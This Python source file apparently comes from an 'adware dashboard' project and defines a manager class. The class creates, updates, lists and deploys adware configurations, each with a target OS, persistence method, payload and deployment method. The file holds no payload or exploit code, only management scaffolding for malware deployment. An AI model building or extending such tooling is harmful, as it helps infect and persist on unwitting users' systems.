dia-gov's picture
Upload 102 files
2f3c093 verified
import logging
from typing import Dict, Any, List
from adware_dashboard.core.payload_manager import PayloadManager
from adware_dashboard.core.deployment_manager import DeploymentManager
from adware_dashboard.models import Adware, Payload, DeploymentMethod
class AdwareManager:
def __init__(self, logger: logging.Logger, payload_manager: PayloadManager, deployment_manager: DeploymentManager):
"""
Initializes the AdwareManager with a logger, payload manager, and deployment manager.
Args:
logger (logging.Logger): The logger instance to use.
payload_manager (PayloadManager): The payload manager instance.
deployment_manager (DeploymentManager): The deployment manager instance.
"""
self.logger = logger
self.payload_manager = payload_manager
self.deployment_manager = deployment_manager
def create_adware(self, name: str, description: str, target_os: str, persistence_method: str, payload_id: int, deployment_method_id: int, config: Dict[str, Any]) -> Adware:
"""
Creates a new adware configuration.
Args:
name (str): The name of the adware.
description (str): A description of the adware.
target_os (str): The target operating system.
persistence_method (str): The persistence method.
payload_id (int): The ID of the payload to use.
deployment_method_id (int): The ID of the deployment method to use.
config (Dict[str, Any]): Additional configuration parameters.
Returns:
Adware: The created adware object.
"""
try:
adware = Adware(
name=name,
description=description,
target_os=target_os,
persistence_method=persistence_method,
payload_id=payload_id,
deployment_method_id=deployment_method_id,
config=config
)
adware.save()
self.logger.info(f"Adware '{name}' created successfully.")
return adware
except ValueError as e:
self.logger.error(f"Error creating adware: {str(e)}")
raise
except Exception as e:
self.logger.error(f"Unexpected error creating adware: {str(e)}")
raise
def get_adware(self, adware_id: int) -> Adware:
"""
Retrieves an adware configuration by its ID.
Args:
adware_id (int): The ID of the adware to retrieve.
Returns:
Adware: The adware object, or None if not found.
"""
try:
adware = Adware.get_or_none(Adware.id == adware_id)
if not adware:
self.logger.warning(f"Adware with ID {adware_id} not found.")
return adware
except Exception as e:
self.logger.error(f"Unexpected error retrieving adware with ID {adware_id}: {str(e)}")
return None
def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
"""
Updates an existing adware configuration.
Args:
adware_id (int): The ID of the adware to update.
name (str, optional): The new name of the adware.
description (str, optional): The new description of the adware.
target_os (str, optional): The new target operating system.
persistence_method (str, optional): The new persistence method.
payload_id (int, optional): The new ID of the payload to use.
deployment_method_id (int, optional): The new ID of the deployment method to use.
config (Dict[str, Any], optional): Additional configuration parameters.
Returns:
Adware: The updated adware object, or None if not found.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return None
if name:
adware.name = name
if description:
adware.description = description
if target_os:
adware.target_os = target_os
if persistence_method:
adware.persistence_method = persistence_method
if payload_id:
adware.payload_id = payload_id
if deployment_method_id:
adware.deployment_method_id = deployment_method_id
if config:
adware.config = config
adware.save()
self.logger.info(f"Adware '{adware.name}' updated successfully.")
return adware
except ValueError as e:
self.logger.error(f"Error updating adware: {str(e)}")
raise
except Exception as e:
self.logger.error(f"Unexpected error updating adware: {str(e)}")
raise
def delete_adware(self, adware_id: int) -> bool:
"""
Deletes an adware configuration by its ID.
Args:
adware_id (int): The ID of the adware to delete.
Returns:
bool: True if the adware was deleted, False otherwise.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return False
adware.delete_instance()
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
return True
except Exception as e:
self.logger.error(f"Unexpected error deleting adware with ID {adware_id}: {str(e)}")
return False
def list_adware(self) -> List[Adware]:
"""
Lists all adware configurations.
Returns:
List[Adware]: A list of all adware objects.
"""
try:
adware_list = list(Adware.select())
return adware_list
except Exception as e:
self.logger.error(f"Unexpected error listing adware: {str(e)}")
return []
def deploy_adware(self, adware_id: int) -> bool:
"""
Deploys an adware configuration.
Args:
adware_id (int): The ID of the adware to deploy.
Returns:
bool: True if the adware was deployed, False otherwise.
"""
try:
adware = self.get_adware(adware_id)
if not adware:
return False
self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
self.logger.info(f"Adware '{adware.name}' deployed successfully.")
return True
except Exception as e:
self.logger.error(f"Error deploying adware '{adware.name}': {str(e)}")
return False
def integrate_with_gui(self, gui):
"""
Integrates the AdwareManager with the GUI.
Args:
gui: The GUI instance to integrate with.
"""
self.gui = gui
self.logger.info("AdwareManager integrated with GUI")